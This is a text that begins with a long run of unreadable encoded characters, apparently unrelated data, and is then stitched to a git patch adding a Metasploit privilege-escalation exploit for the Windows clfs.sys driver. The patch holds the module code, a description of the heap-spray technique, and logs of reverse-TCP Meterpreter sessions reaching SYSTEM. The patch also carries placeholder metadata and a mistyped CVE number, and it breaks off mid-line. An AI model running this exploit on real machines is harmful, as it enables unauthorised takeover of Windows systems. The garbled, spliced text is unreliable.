z>?`*!eYdpr`fj>g^`2D)A!7#_U3378hOuKbjH9DdBOIcQ@QfwReW8CSMw{;r^WQ`k z>*bm;^30if zb{Sm31N}G^^%2Gh@QwnXw^s5pY~gDLh0(BX5XHK#3}r@$P--0^nTx|4d&^! zFZl8GJbV{(DCpmKDO3<})_Hn<-ocyX!Y_n zAFQV>$WI9y*KHTfqrrbC@E;BSBQjx!UbCiW7jhSO1DVbs(+OmvhlFqAyD@F>UI^tY z5L!2mgs~m04eo~bGH}gM>u>tG{&3CESH1bAM9;=9^3p{s3p)5z}F11r21W>XFtO=o8mRQR?n`0 zOJZMXzxirtd+?HTh5$bn0Bs1q+akss;V|Zac`CH6@s+f1fbpz^cw#=KL0{#SZu0E`t<1nemo_v&CD!t*|(jKh?N z^lTnncTgPoc)t3ab)Xh0U(pEik81jP-cNYmPZR44u(kkm#aNgt!ukTAE8>{zhpl?n z{}GMf^N+t;bbZ5E-|B9xFU+y}rX{kzu-~8PN^r)v#kIsh-ix$!eAnyb6MEL;Nj-Z) z=BFrAn`hqd*>B+U$XrjE@HRO&6zV7Ruc^_lNM}S_SPRraz7B9k+XnD=DY0ywP!76o zp{!fA3Fd+k(65KHZk}~nn=V|>!c&7Sy7&OFw?MErps6u-Y+qw@yF&hSf%Y|?h4WPl zVNXqvPv%~MEUK_S%rW{w`_qTv3N?n81eqw_)#?uKYIWuI%;SN6H1Ff#T*90L^OVYt zEh5TVkjKOC58?NN@Oz217P|<8uZi*SlOg=R5PmOr_?!p(cAX0Qu}-G_Q5==TCDMieW(a#s_eKAg=s>k3#K_2#4#ua*V(ac zfN@kRZyVh8Xr&p}JmA7U52-E$!iP2dz}I12#T?4~0t^AZ_FFLwE4&$jF6#!vGGS8{>g8BXyu$<`p^S@ivpci z&OV(#>hKT0rGQS#;T~TSyawX!@EZ{5v~ms~@ss&gQz_)Ndcag!Jv{f7SNKf>bW%U& zlfy^4r2aiV^usbNGgk3^DP{q_^DoK;!$OB=xzWjRdHQqsqYnRMxHi!5?RdJ*6BeFD zMkn=Sy7t412i{KVZ}OoZ?W_%+7sKT%?@$+>HAbfmr|>VriHG*U+hI8A@cggB!L!8Z zwBhu^m!Z6zOi!(ka4^5lS2ogL^LhNW!E;}EfM&mBF+$@BwopY z2f}56s~+CbnFth46wDl#l4?mEl9HO9dU5KYnxScf3QJ3wnp3o(v}k^H$b3gHLenYzF z;8{AzG0n4m@GJ?R`Ec2&L*rJHzx6~Lh(1NMg=ibmZ;1X%^cYd&a-lboXe!b1M3<6W zA>kULHxu1R^a-Lnh`vSi8=}7wWt5IMnVwZ5d{?cYGf585x}e)f&p#!)gJ=WM8;DjD zEg(9RXg1LiL|qhazzRw?(LqGV6TO`13Zm4x}WG7qNZy^ zxJg7)iH;$fN3@*iN}{(AZ6NwQ(N>~+h#nw%ifAyER~*s)L}e97llDUoUMIZU>-kE; zONlNb+DP;UqV+^gWRFQi`xBMneh4R#it?+A#+Q^9&4S9CQ$}cYj;Z)t&C63aP`JjlNEYeRXs?N@@svcKaSpj~X z6ppRL0lKI8WfkQ+MwgaW%x5$B{rJivc>W6dvQ<{hFRH3S3FznXN#>Hu%A#_~VBODs zHnEWP(mc&AhC~%Iw%31VNoDnt{8AAV`$}RS+)DH@rJ`_2DaCp;oJ+)K7=zJ;g_RHs z#@_YAb~C%ApfbO5*|?fnaBfTc1pIsqc)mM~&jsQk6k;BV$c$dFprpK{dfAlxs>Q5{ zWmY(ri9GLOn7X9ev7~xzQNfah)2k~>$`^vp-shwSlE{uyF3R*x9+z{;xa=XRyrpNq z`dwM&0RPnsX2I)z<8tKlLv2Wt(PH!pKum7{2W$%2yk^NM-7L%H@u2`Kk@kW=N=6;+EX z%S#6p)j(MWQCzbt77Bx6kfi`JE6S_$OUl8Z=9ez0x{{(188EA)uqd-QzcROC%97IR zk}=Dwi`X$g_kC`K6ky+B-iVyaUFHC@g|7pSLleye^8_O-osRuoMLE21>z7@WzqII_ z=cRrVp)5-BOG}n}Gso4yTw`oeX;HN|howO%^D7G76(S7ewD<+T?93_o4iPiZ^DgFl zrfp*Rf(rJTA*Z@DGv84SS&caWCv@3Y_$<4kV(}8k_$B2$%8-o8WiT^F4w>$Z@+(WA zNLY*ijB=6fh2v`G7dbG6kg>dGUW0aaUiK#c+@i{|l5(h>RJY(H>QyHss`& zR28{X&)D}UB{B%|y9(j}*#V8p;-bRwrAw-cc}&=7%pFZzv{(~YFVh%ZUO3%RQqI%M zn*4K1tElDJhW8N7nfawlirBM=K&e2_Ama7?IUN#eE7(HaxSA4ot5xfrO5T=S?RknR z#Tp8!-vsSLnIpflNZ1lQY1Y~n;BxfGo1G$&iEKUOHN>X`>KIgkBG%OpB(TqlnLa++7eTCYlR~J&_&GHcQvW5D^hIsV^kkxR$10=wZt13#1 zMEjKqGcAA3Qz%eq1!hW3)1j(?$3`757}Pyx$$|w%c!GB+?{!ES#3qmT2suR}>sRW= zgZ=Z~hF!<+$Cp%A@!0Vkypun>1S%9NoyFG4e8|MAn!m7!y@d5}G{)~ijLp<>Q}F&< zUOOwwz`&t(FNcQF>Gfn59KZniapg-(Dl5v%plXQXz#My)m$WZdFU&0sV`hG3Nqzyw zY%X#%xjcub6Eg<-IpM2t>H&}$jA@jhl^GoL~5zWCx*zQ)&FRo;xL$91) zg*X4B+@-=qb1EvT>2^r!rG=F+i>a)-G&6hr^g+{S<5B_6k$k!I*TnZvGog>cjJd=y zx*DmJ%^W>`9A5bBg1e9d7joc24qV8A3psEh2QK8mg&eq$0~d1OLJnNWfeSfsAqOtx zz=a&RkOLQT;6e^u$bkzva3KdS8&Qc|0!kU ze-OkCFIFw=NWV-___`1zGSC*rsD5Jec{8z5- zIg!ujlli~RKPO(4|K87Qmx}ynHG=0BjevHzuiHl6)<8va2f|3btDztr-7GyI0_!akiulb#p2 zf#_dE{l8?H&g+EYr1QG}GT{G5yyq9pFDzQHu()K=;?lD63da@jGU}40SJo_BE+RO3 zOy<~e<0oWIoHRLm$|X~6({iTg&X_qXZ#JB^`k(C1YZfMv>hqdK(*MX@`TyKZbb5nP zTP|DR7@vLhven(`;a2!wE4l|C7If7E&Qo}2U0KU%Bgnt@&=(IS3HCYvSDg`$tVFl} zL;2Ap|2)Wlw0Ym=1oq?R{hQ~WU;oMnxsPcu(4Y3j@zOcI3T2)Y{}emCLlL@g2{36D!~){i6Ib5mmR(RE<|(;mjMKKfkEDW0v`n zTYzF#ek|ax(l=vXW@R-u(L#Q#NfWxyc+Z$$4W~Xj2Jf?c)m~iEI##36S3ITMyjdPW z-*Rv?1rDQCTgT2+dr{sMELkuQ4joqJSA&g@odLSwjM%*D%KVb*DjBj+>rsB5dZqRP z{SG{7B|Z8~|IB%CFs7u;;gz$Z$?z5Le`?=qFSLjPYnCRazVxZRpte9w0KI>mVi6_& z|F852BZQ3n$J%`7i;NeQ%zvQmuk|f}6EFWXcD~YyXYl4P?O0)a$${+%N$c3LGv-Yx zsH%plTy3>#io>0wzWsa3W!@|=QYvTaNh>h&HQ#WaBl^=sy|~Z;JzMcD_rYQ9;j|0#0}+v-UQbZ zC{ zfER8G&Yr%T2Cnvkg9I_zGPAeLf20 zc#Rr-=~U(GaLZ}RH{nO!%4@SU?LAat3~RGBZIOrP;%H3yuA0Zu0Oj(%I^#&jxqKJT zbR=HBZ>C^)`A(g^exS;2@LD9-2I1NA%W*Oe;VLB8M&W*ZXkp%x8slN{2@)AR?n(*9n)V+Lgt>G*1 zZ6x=`ScAloqK;nJy_=VKVaau08;{tL^JLO>7S1%-A z^h+HsxtO0}Xj>3IdI{^u9Qq5M(8rX+yWl1iVyrgdt~0KLSE2!8ge#GbkHQLy(gtDO z@WS_yFSj=3*JKz}A8#t--Mz=sWAhdYp* z(<k$Z^B*Yq6(*?Zmt!6 z2l=FJa0QY)N8#g!ufSbrq6%l<%GpuG3(rAOybl&oAHD|n46)bHcNWMOX=pa)i0}X; z_1oZchOfgVKj+z)Ye9J6?c|N|>4Og;IkUL}_q~I4O0I=hAt{&d2HJIomvHq;`iON* zIB+NT!bjoLD2lJae;#10;w{kp3&yv2cm*oqKYu=#oZGbt)hQQlM%(e)UHpFd-RxUG z;LIC%3Yv&_L*4LYI5$F`DHq<2WG+YG1|)gd2=}~4c{vDc29kLs-x(D(%7t$s$)|j0 zm3+^WTr2b$UYJ1=qr+{6Z$itxYW@npY4~aIY{Pru62lkZ(X06VblN-(=8)`D1!%rc zwO{B$(gwHq`^h=+!pD$|)wS@T2UNTro`mGNX2L6xT)P;i4X?vZNMgp|zES0^@I@r? zBXGAkYd!Ze!zhw`3MVBPf0PR!PBISgWw;~7H)P;j(4J=Q;+Z863zm*YHAXjy+)Rgf?~j(lf|8oSbLAQI8GQP?>V!7SvCC3r;PlHVZFB z^N8t%FCdNjYw(<+%K1EaFOry5@QOjsC8nOm@bDpWPP_x|USjT0ZiWHmBwn}^Nq$;z zuLq5M!lMm84L*Pz#7E(jU#a*2ya!2sR>89#;=O|Uy|BKTXCrUqVr?9fkKl zp?nmc^`!D%=&z{$61Gq~4{+&Is_%qdzfpY`fQS7nW1eHHoUj*3yzm9o?iYB@I-_6U ztw`D&f(xEj{n7(x|CVQ_Up&z9J5`ShZWU23{CSnOaj!6Zd_DE!D{#Rx%pH6Wyal!E zhu?ix<$osJG_3N!6|R3ywPzSU{JhG48D8^(%6|YJTvPSf;q^$KYbiWt1M8lIw^65~VK54R#S$8`xWcv;oo179-y zC_L{K<}ESvU<64URpB_2`i0Mrsr9M`HzSE3gTX)3U&IUF zK~8)VE_jnQ4&MVUZ}Fahp9be3xz-2s4aN`U1=v6`9)wf2C@*~aFU%8S>TuTEvify>`#u2E+g?)-r9gKxo4wzDqa$Kh9Z zDnI(6rtQ;G^;_YksJ%YG8gewg{01HUkBV1>A;i(_7&QQOcJ^00s$sxWA9*U$M z7aT-2$}8~JPuR2YAy`5ZBV1>A;fsbJf$tf9JDf1C;-|v1khI4OuQkd8@M)vG3g0lw z$6(@9mBS=_56SaxhsXU@)j1u`H@pwtYWNU*5XrqN@Dn80c74XakEDDtJWuP;MtQDz z@LbNx3Z93D=TGR+DtI5Xah8=fkNp(Bfu`ce;KN_&&?5LUyp8Yu7vB$0@8T>p{9HKa z%N<$(?|~QY-JzB6et7mi9ojJ73xBaM=RdHIMBvL-$E zKSiD$7Ll~41a}&~1y49imAl{yB<&o4JCMvZ%hBWmna`)q@Mp+^55qOcim$-kze%6r zJtS4PEg(hUp0IkE;~_`3-@#}4vDwGnBkLfzmph~luv?>Aj$JE{AdPap7L>c z_)O*9C-W>w-mkX8<)?ILHe$js;bsi*j7j*&sU7WgwG5A#rSjttBFT?%;%w!GYYbn8 z^XI6%`QURNyk?u0-we2@kzUJ60q7JP`+5nHeRP~V)9^Tv0e&=^U$7P0xkD&qTSqs1S zBjw$2#pT3MJ^(*N@+>X5q))YTDSQoe{gAl{yRV>Lyzq!CRg43^h1$7-$6m#`Tf{iw zDkSB?Q?6EPf*Y(IuC zUj@C_vv%QyanxSB;Ae(+F5&OdJg)uxSz~er*&{cwCQ>de{g^i6g$D#xJvMj-k~L~B zTxFD(;Woo}-PEBSj3mYhuSWgU6M%ay<9YBCp%3-qh0Bq|hv6}|sC>HMn}%<|eSfNA ztngIBcf%!yUkYFCr`^<9hYN34Yf%AyjAXox!%26jdW6#rFMJWzxpoAWmy_ECtX;5$ zrs9QXhRGcJc7!r)rNI_72eRlnbA^ zi?NL#hFg%-vlXtmn>JBC0M{d_a~SRsk@IKRm*F-f?PRzj1*S$Q8 z#KWOg^aZ{Ice{_a;mz>o`>7wl3~oZp@MCaNl(yl8XU5cA_QEx29p#@t(@W0!il(@R z^S*>zkORLJE=;TO+ymc6?KZ=k9_Rc&V#4sOVcLWD!a*d@+kAn2@b`=x%Kh-VKQQ0% z%iu#u#`$X45KpQH@~RXhcS54pHw|F;WHzge@H#U(D{S14iuOkP(4#Tf=t{n9X({;+(Q_Aptw3YHnZ?G<+F?;~ti{!qmV8QUhElBdV9ZuV% zyl^>^_#`YFURX7}@KeKUn|Y5w5-)V1xjlTQ0hc4GKMYsC$#|oD0Dk)&o&i4{UWnRj z8r*;?ly8JzewVR&A!`LZ2aQoa4?c#>l&^)iZDYPu-VX~%#|vXk+Ko@bFTSVxt_#jW z(jE_-^1d2-!e^0`55vd@s$BScB+s=G?lgQ0UbbDu_rW5P`;NfVckr%4+vdVUKUD8* zQ{nYU>R$@iAgQwq2U>XF}LieYt4Z;YLI)%SQ(#|S8@H6G7z%!ADc6#AGNa|b# zXK5y_pK=cji>F+8Lx)MLQ67Z-oUcZcl66IBB?liUUE1ZwEQoa;kG=a04SOfiV z(eCQnUTEgbjjoGWui!;U?&XIoQF|=GCk$VKCvc9JFFx+zb>Jtms8rT8v*I_H@T;OD|c`IKO$(dspvq!*}Q5Zi8cRRqOjpEJlE;JV(fqVXo zslDb{;7Y?s;q$1Qm>RrtGVzR=#qedDslASk!e4$(wQUvL?;G5gHcWyyp%MHtc+kQ0 z9o`Q2I)uKU&WSL2m`Stag*%ThX$@jp@Iwb@~!&~+-~1TXwGlJT|{UUiyk|6=IqR=ywJFpC)CgYd06oDYO= zz&$<81+KNg1I}PvQf`B%A}Q~N*CQEYOQC13NvjgG{Y=h}JxkqpA`GK3%7sHlc?mv+ zx8{tH5Y_Bl4lX>=bE%Bi}3K3^B5cWQTQ>Exi${Z{-H^mPPrGJ z=u`dcg6;(-EkL>OsfCPT{5sg*Lr(C*{Vrn6<0rwRE}@?;<+CsN44Qx+hTcWgj~8x1 z?QsHc?^SC^7=C=2y6=P^(dT_8twOwT(N#PHz8BuIm~n^?!Pf%h3txw)U8nk}8~)bt zRXFW>)|OLf4|F5Rl?PVP2-gb7mYB3AUU>NptS|UJ_%L$zvM<0lk<3%`jm*;^?I)%N zZ@9^%%_F7)zwi@PzZo8RGh?3eAbb`D@pZW97PT(*!mDpJX(7r3@UxJbv)XN(^VF~A zsTCe`JNY5T3E#hiv3MC{241mT)wvi>2&*+&_~#XPVj3`gCx3_6p>Kdbq8?!dNgjlw zh8O518QCiLrB(&-l$326jSkCag#O!$v)l-CnnUj!k?fX+O`aCLGAS!Hj--n6yBX8 zSG#&bptod3K@+eo<&uH3-0;0K_#kr;9- zeCtK#2%mj5pzBYnUxYWltm1<(^a^8zYlTxrRg5r!WSvRE*sH29k}&j|^5Zb}I_vZ0 z#K5cSs(dl*dP8~P&dsdP)Zc=e#`rtp$6)c#O0fJc?Z=z9nY1-X?p1~tG?njxn~{vAF}Uyp z)^6f^-~&kh-LnKMs7krE-K0H^?<&lZBv z&H05(DfhrJ)Q=Z_f@D08!*A`bybE4#_&zw>+^I$6TDW!(&c7u8!WEo1rc*uuKSVMf zTF~01ys*dc!qtWkeyLMCZ0}C3%C%FWHnFpvXW=DC#(yvDM=~$g!F|5c*} z3*Sfbv*&hr_de>r5jc6@&h~rebeKcZw$<>;{X4ad+&2iLNa`0J!#SVY6|A@L3Dkv` zvp?rdB98ZDA6$rny#EB@Pf-Y8fr}=0YBt705Z-F*)a>{Q?EG4%HWlxJ7a=D;4BthS zQ@QVfo!VbfPdD#HU+>gB$jY8ofpx@<-+HTa$(c(!Y^q)4c;RPgF6(O7;hoyWNXEY(rjg7Y z9gZU#bJ=!8r?wc055gzVI@Z;HxIdgPww6YR65&K75l!fca-x!`CTfY1L_N_+G!w0a zmNX|VNo&%PbS7O%chZyeC;O6tq@FA#%gK>sJ=sV$ldYtda-^IoSIV98q`WDAsxK8t zg;L>EBo$5RsZy$(YNVQ}R?3pLrfq3^+LQLCeQAHXFC9n+)1h=Y9Z5&idb*S@rz`1d zx|SYE*VB!3Gu=vS8FR*xv1V);d&ZG*W?UH>?PAUYcia>A#(i;rye}Sz2jii5I39^d ze+I(njOhDvaPH+XU*Aj&YU~v z&G~bITqqaG>A7;Qnj6VAa;=;>Z_V5D&b&MC&HM9#d?+8u>-loNnjgtG@~ynNU@h1S z&Vsw(E%*z8LZ}ca=!J5jS{Nxb3ax^cw)gS{x}himjq~ zQ1dWH_$ahy(d--;s8vU1|5< z*$3{7C*#fdGX6|oCXfkcLYZ(Tl8I*YOes^&R5H~}Ei;m-XBwGirj@CaR|{FSJyBn@FB*)7qtR$7T8Y-8 z^=LDy#Vj#f%n@_NJTYIaFBXi2W6@YCR*BVO^;k2e#Vv7L+!1#%CVh;@AY(Ba_c6ly zvRafqg#N5Et2ARy*^>75ymB+Eyh)!ivx3P8v#Xq}B&*3?y{~52f8GBj#$SaISYr&< z8HG*8p;j=HT`T#u7bJ^z^5`U!ZgS}*n||^cAfq928Yy}Py=2f&4g+K{L>?n#QYV*X zvRNgcBV@EePFrNvOkS;I)=qAnWY~|L}Ta9kdTR2i=SSKfNEK=XH9$N{=__Z8JS>raKpM5Hnq*2XItwtaJy)(JQj#6VcX~wmLC1FcA60U?N;Y;)-g6yEt zM2X$A#?C1-+>*30w_VI^ANyr68BRvoF)PgII{T%@N^WBncd=Xg*eiqVlu>rc3M+P< zeNtnkwxu1c(jIonK6c13yJLx+vBs|0WJk2H8#>qtJ*>cetiEAZ-V&>BjTN_<(R7P$ z(;d1?_vk*oPY>#0J*t=VieA&}dQ;c3maHx7$hxwgtdG?xm(8t zSg9R3SI(33<@$2LTsRlam2#C_EmzMqb6Vb#x8)sqSKgEN<@@qM*7WHA*qYA&S)`Te z*8lx>hyQy!k&Vw`X}6y}F2s7gYcM(klQloY-dX1j!@*n+vbHw{EzE2` tt96<6S*!5bIQMrkdn2s2ji`ftt`@U${~+Vv!g$vi 'CLFS get riggity riggity rektexploited ', + 'Description' => %q{ + Incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to + issue device IOCTLs to perform arbitrary physical/virtual memory read/write. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'aaaaaaaaaaaaaaaaaa', # Original PoC + 'jheysel-r7' # msf module + ], + 'Arch' => [ ARCH_X64 ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread' + }, + 'Targets' => [ + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] + ], + 'References' => [ + [ 'CVE', '2023-282252' ], + [ 'URL', 'https://github.com/' ] + ], + 'DisclosureDate' => '2022-11-09', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [] + }, + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_railgun_api + ] + } + } + } + ) + ) + end + + def check + unless session.platform == 'windows' + # Non-Windows systems are definitely not affected. + return Exploit::CheckCode::Safe + end + + file_path = get_env('WINDIR') << "\\system32\\drivers\\clfs.sys" + unless file?(file_path) + return Exploit::CheckCode::Safe + end + + CheckCode::Appears + end + + def target_compatible? + print_status("Checking compatibility") + build_num = sysinfo['OS'].match(/Build (\d+)/)[1].to_i + vprint_status("Windows Build Number = #{build_num}") + + return true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <= 19045 + # return true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000 + # return true if sysinfo['OS'] =~ /Windows 2016\+/ && build_num >= 17763 && build_num <= 20348 + + false + end + + def exploit + # if is_system? + # fail_with(Failure::None, 'Session is already elevated') + # end + + # check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL + unless target_compatible? + fail_with(Failure::NoTarget, 'The exploit does not support this target') + end + + if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') + elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86 + fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') + elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64 + fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') + end + + encoded_payload = payload.encoded + execute_dll( + ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-28252', 'CVE-2023-28252.x64.dll'), + [encoded_payload.length].pack('I<') + encoded_payload + ) + + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + end +end From 29c2361a9c33801d0d067a4dc9da03ab3b5802c7 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Wed, 2 Aug 2023 18:53:20 -0400 Subject: [PATCH 2/8] Module clean up, docs, metadata, rubocop --- .../local/cve_2023_28252_clfs_driver.md | 129 ++++++++++++++++++ .../local/cve_2023_28252_clfs_driver.rb | 69 ++++++---- 2 files changed, 168 insertions(+), 30 deletions(-) create mode 100644 documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md diff --git a/documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md b/documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md new file mode 100644 index 000000000000..30cf811d5ae3 --- /dev/null +++ b/documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md @@ -0,0 +1,129 @@ +## Vulnerable Application + +A privilege escalation vulnerability exists in the clfs.sys driver which comes installed by default on +Windows 10 21H2, Windows 11 21H2 and Windows Server 20348 operating systems. + +The clfs.sys driver contains a function CreateLogFile that is used to create +open and edit '*.blf' (base log format) files. Inside a .blf file there are multiple blocks of data which +contain checksums to verify the integrity of the .blf file and to ensure the file looks and acts like a +.blf file. However, these files can be edited with CreateFileA or with fopen and then modified with +WriteFile or fwrite respectively in order to change the contents of the file and update their checksums accordingly. + +This exploit makes use to two different kinds of specially crafted .blf files that are edited using the technique +mentioned above. There are multiple spray .blf files. The spray .blf files are specially crafted to initiate an out of +bounds read which reads from a contiguous block of memory. The block of memory it reads from contains a read-write pipe +that points to the address of the second type of .blf file - the trigger .blf file. The trigger .blf file is specially +crafted read the SYSTEM token and write it in the process of the exploit to achieve the local privilege escalation. + +The exploits creates a controlled memory space by first looping over the CreatePipe function to +to create thousands of read-write pipes (which take up 0x90 bytes of memory). It then releases a certain number of +pipes from memory and calls CreateLogFile to open the pre-existing spray .blf files which when being opened fill the +0x90 byte gaps created by the deallocation of the pipes in memory, creating the controlled memory space. + +This is a very brief and high overview description of what the exploit is actually doing. For a more detailed and in +depth analysis please refer to the following [reference](https://github.com/fortra/CVE-2023-28252). + +### Installation And Setup +Windows 11 versions 21H2 are vulnerable out of the box. +This exploit module has been tested on Windows 11 versions 21H2 build 22000. + +## Options + +## Verification Steps + +1. Start msfconsole +1. Get a Meterpreter session on a vulnerable host +1. Do: `use windows/local/cve_2023_28252_clfs_driver` +1. Set the `SESSION` and `PAYLOAD` options +1. Do: `run` +1. You should get a privileged session. + +## Scenarios + +### Windows Server 2022 Build 20348 x64 +``` +msf6 exploit(multi/handler) > use windows/local/cve_2023_28252_clfs_driver +[*] Using configured payload windows/x64/meterpreter/reverse_tcp +msf6 exploit(windows/local/cve_2023_28252_clfs_driver) > run + +[*] Started reverse TCP handler on 172.16.199.1:4443 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. The target is running windows version: 10.0.20348.0 which has a vulnerable version of clfs.sys installed by default +[*] Launching msiexec to host the DLL... +[+] Process 6080 launched. +[*] Reflectively injecting the DLL into 6080... +[+] Exploit finished, wait for (hopefully privileged) payload execution to complete. +[*] Sending stage (200774 bytes) to 172.16.199.134 +[*] Meterpreter session 11 opened (172.16.199.1:4443 -> 172.16.199.134:49864) at 2023-07-31 13:44:35 -0400 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-2EEL7BRDUD8 +OS : Windows 2016+ (10.0 Build 20348). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x64/windows +meterpreter > +``` + +### Windows 11 Version 21H2 Build 22000 x64 +``` +msf6 exploit(windows/local/cve_2023_28252_clfs_driver) > sessions -i 1 +[*] Starting interaction with 1... +msf6 exploit(windows/local/cve_2023_28252_clfs_driver) > rexploit +[*] Reloading module... + +[*] Started reverse TCP handler on 172.16.199.1:4443 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. The target is running windows version: 10.0.22000.0 which has a vulnerable version of clfs.sys installed by default +[*] Checking compatibility +[*] Launching netsh to host the DLL... +[+] Process 9124 launched. +[*] Reflectively injecting the DLL into 9124... +[+] Exploit finished, wait for (hopefully privileged) payload execution to complete. +[*] Sending stage (200774 bytes) to 172.16.199.132 +[*] Meterpreter session 4 opened (172.16.199.1:4443 -> 172.16.199.132:49894) at 2023-07-31 11:24:01 -0400 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : MSFDEVICE +OS : Windows 10 (10.0 Build 22000). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > +``` + +### Windows 10 Version 19042 x64 +``` +msf6 exploit(multi/handler) > use windows/local/cve_2023_28252_clfs_driver +msf6 exploit(windows/local/cve_2023_28252_clfs_driver) > run + +[*] Started reverse TCP handler on 172.16.199.1:4443 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. The target is running windows version: 10.0.19042.0 which has a vulnerable version of clfs.sys installed by default +[*] Launching netsh to host the DLL... +[+] Process 4888 launched. +[*] Reflectively injecting the DLL into 4888... +[+] Exploit finished, wait for (hopefully privileged) payload execution to complete. +[*] Sending stage (200774 bytes) to 172.16.199.131 +[*] Meterpreter session 13 opened (172.16.199.1:4443 -> 172.16.199.131:49840) at 2023-07-31 14:34:37 -0400 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : DESKTOP-8ATHH6O +OS : Windows 10 (10.0 Build 19042). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > +``` \ No newline at end of file diff --git a/modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb b/modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb index 57a7801db041..609f250cbd50 100644 --- a/modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb +++ b/modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb @@ -1,4 +1,3 @@ - ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework @@ -13,21 +12,43 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection prepend Msf::Exploit::Remote::AutoCheck + include Msf::Post::Windows::Version def initialize(info = {}) super( update_info( info, { - 'Name' => 'CLFS get riggity riggity rektexploited ', + 'Name' => 'Windows Common Log File System Driver (clfs.sys) Elevation of Privilege Vulnerability', 'Description' => %q{ - Incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to - issue device IOCTLs to perform arbitrary physical/virtual memory read/write. + A privilege escalation vulnerability exists in the clfs.sys driver which comes installed by default on + Windows 10 21H2, Windows 11 21H2 and Windows Server 20348 operating systems. + + The clfs.sys driver contains a function CreateLogFile that is used to create + open and edit '*.blf' (base log format) files. Inside a .blf file there are multiple blocks of data which + contain checksums to verify the integrity of the .blf file and to ensure the file looks and acts like a + .blf file. However, these files can be edited with CreateFileA or with fopen and then modified with + WriteFile or fwrite respectively in order to change the contents of the file and update their checksums accordingly. + + This exploit makes use to two different kinds of specially crafted .blf files that are edited using the technique + mentioned above. There are multiple spray .blf files. The spray .blf files are specially crafted to initiate an out of + bounds read which reads from a contiguous block of memory. The block of memory it reads from contains a read-write pipe + that points to the address of the second type of .blf file - the trigger .blf file. The trigger .blf file is specially + crafted read the SYSTEM token and write it in the process of the exploit to achieve the local privilege escalation. + + The exploits creates a controlled memory space by first looping over the CreatePipe function to + to create thousands of read-write pipes (which take up 0x90 bytes of memory). It then releases a certain number of + pipes from memory and calls CreateLogFile to open the pre-existing spray .blf files which when being opened fill the + 0x90 byte gaps created by the deallocation of the pipes in memory, creating the controlled memory space. + + This is a very brief and high overview description of what the exploit is actually doing. For a more detailed and in + depth analysis please refer to the following [reference](https://github.com/fortra/CVE-2023-28252). }, 'License' => MSF_LICENSE, 'Author' => [ - 'aaaaaaaaaaaaaaaaaa', # Original PoC - 'jheysel-r7' # msf module + 'Ricardo Narvaja', # Original PoC (@ricnar456) + 'Esteban.kazimirow', # Original PoC (@solidclt) + 'jheysel-r7' # msf module ], 'Arch' => [ ARCH_X64 ], 'Platform' => 'win', @@ -40,12 +61,12 @@ def initialize(info = {}) ], 'References' => [ [ 'CVE', '2023-282252' ], - [ 'URL', 'https://github.com/' ] + [ 'URL', 'https://github.com/fortra/CVE-2023-28252' ] ], - 'DisclosureDate' => '2022-11-09', + 'DisclosureDate' => '2023-04-11', 'DefaultTarget' => 0, 'Notes' => { - 'Stability' => [CRASH_SAFE], + 'Stability' => [], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [] }, @@ -67,34 +88,22 @@ def check return Exploit::CheckCode::Safe end - file_path = get_env('WINDIR') << "\\system32\\drivers\\clfs.sys" + file_path = get_env('WINDIR') << '\\system32\\drivers\\clfs.sys' unless file?(file_path) - return Exploit::CheckCode::Safe + return Exploit::CheckCode::Safe('The target system does not have clfs.sys in system32\\drivers\\') end - CheckCode::Appears - end - - def target_compatible? - print_status("Checking compatibility") - build_num = sysinfo['OS'].match(/Build (\d+)/)[1].to_i - vprint_status("Windows Build Number = #{build_num}") - - return true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <= 19045 - # return true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000 - # return true if sysinfo['OS'] =~ /Windows 2016\+/ && build_num >= 17763 && build_num <= 20348 + version = get_version_info + if 